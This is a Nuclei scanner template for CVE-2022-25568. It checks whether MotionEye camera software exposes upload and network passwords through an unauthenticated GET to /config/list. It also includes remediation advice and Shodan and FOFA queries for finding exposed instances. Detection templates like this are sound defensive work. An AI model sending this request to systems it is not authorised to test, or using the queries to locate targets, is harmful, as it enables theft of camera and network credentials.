id: CVE-2022-25568

info:
  name: MotionEye Config Info Disclosure
  author: DhiyaneshDK
  severity: high
  description: |
    MotionEye v0.42.1 and below allows attackers to access sensitive information via a GET request to /config/list. To exploit this vulnerability, a regular user password must be unconfigured.
  impact: |
    Unauthenticated attackers can access sensitive MotionEye configuration data including upload passwords and network passwords through the /config/list endpoint when regular user authentication is not configured, potentially compromising camera systems and network access.
  remediation: |
    Update MotionEye to version 0.42.2 or later and ensure regular user passwords are properly configured to restrict access.
  reference:
    - https://www.pizzapower.me/2022/02/17/motioneye-config-info-disclosure/
    - https://github.com/ccrisan/motioneye/issues/2292
    - https://nvd.nist.gov/vuln/detail/cve-2022-25568
    - https://github.com/KayCHENvip/vulnerability-poc
    - https://github.com/Miraitowa70/POC-Notes
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-25568
    cwe-id: CWE-1188
    epss-score: 0.8531
    epss-percentile: 0.99374
    cpe: cpe:2.3:a:motioneye_project:motioneye:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: motioneye_project
    product: motioneye
    shodan-query:
      - html:"MotionEye"
      - http.html:"motioneye"
    fofa-query: body="motioneye"
  tags: cve,cve2022,motioneye,config,motioneye_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/config/list"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "upload_password"
          - "network_password"
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f2045ec94e7fe4c7fd6692344b827466c4d544428b303f8fbd923ba7d2ae05bb022100ff91829477d5af6adb96a5ab8bc58df01e2e918817aa7e261f4c50485836c7f2:922c64590222798bb761d5b6d8e72950